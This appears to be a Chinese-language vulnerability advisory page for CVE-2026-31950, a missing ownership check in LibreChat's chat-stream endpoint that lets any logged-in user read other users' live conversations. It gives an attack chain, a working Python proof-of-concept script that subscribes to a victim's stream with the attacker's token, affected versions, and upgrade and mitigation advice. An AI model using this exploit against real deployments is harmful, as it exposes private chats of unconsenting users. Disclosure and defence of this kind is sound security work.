IPBUF安全漏洞报告
English
CVE-2026-31950 CVSS 5.3 中危

CVE-2026-31950 LibreChat越权读取聊天漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-31950
漏洞类型
越权访问
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LibreChat

相关标签

IDOR越权访问信息泄露LibreChatCVE-2026-31950

漏洞概述

LibreChat在0.8.2-rc2至0.8.2-rc3版本中存在越权访问漏洞。由于SSE流式传输端点未验证用户对streamId的所有权,任何经过身份验证的用户只要获取或猜到有效的流ID,即可订阅并读取其他用户的实时聊天内容,包括消息和AI响应。0.8.2版本已修复此问题。

技术细节

该漏洞源于LibreChat在处理SSE(Server-Sent Events)流式请求时的访问控制逻辑缺陷。受影响版本的`/api/agents/chat/stream/:streamId`接口虽然要求用户登录(低权限认证),但在建立连接时,仅校验了用户身份的有效性,而未验证请求参数中的`streamId`是否归属于当前请求用户。这种缺失的授权检查构成了不安全的直接对象引用(IDOR)。攻击者可以通过遍历、猜测或通过其他渠道获取目标用户的`streamId`,利用自己合法的认证Token向该端点发起请求,从而绕过权限隔离,实时监听受害者的私密对话数据流。

攻击链分析

STEP 1
1. 身份认证
攻击者注册账号或使用现有账号登录LibreChat系统,获取有效的认证令牌(JWT/Session)。
STEP 2
2. 获取流ID
攻击者通过猜测、遍历或其他方式获取目标用户的实时聊天流ID(streamId)。
STEP 3
3. 构造恶意请求
攻击者使用自己的认证令牌,向`/api/agents/chat/stream/:streamId`端点发送GET请求,并将streamId替换为目标用户的ID。
STEP 4
4. 接收敏感数据
由于服务端未校验ID归属,攻击者成功建立SSE连接,实时接收并查看目标用户的聊天内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit for CVE-2026-31950: LibreChat IDOR in Stream Endpoint # This script demonstrates how an authenticated user can access another user's chat stream. def exploit(target_url, victim_stream_id, attacker_token): # Construct the malicious URL stream_url = f"{target_url}/api/agents/chat/stream/{victim_stream_id}" headers = { "Authorization": f"Bearer {attacker_token}", "Accept": "text/event-stream" } print(f"[*] Attempting to subscribe to stream ID: {victim_stream_id}") try: # Send the request with streaming enabled response = requests.get(stream_url, headers=headers, stream=True) if response.status_code == 200: print("[+] Connection established. Receiving data...") for line in response.iter_lines(): if line: decoded_line = line.decode('utf-8') print(decoded_line) else: print(f"[-] Failed to connect. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Configuration TARGET = "http://localhost:3080" # Replace with actual target STREAM_ID = "guessable-stream-id-123" # Victim's stream ID TOKEN = "attacker_jwt_token_here" # Attacker's valid session token exploit(TARGET, STREAM_ID, TOKEN)

影响范围

LibreChat 0.8.2-rc2
LibreChat 0.8.2-rc3

防御指南

临时缓解措施
建议立即将LibreChat升级至0.8.2版本。如果无法立即升级,应限制对`/api/agents/chat/stream/`接口的网络访问,仅允许可信IP访问,或通过Web应用防火墙(WAF)规则检测并阻断异常的跨用户访问请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表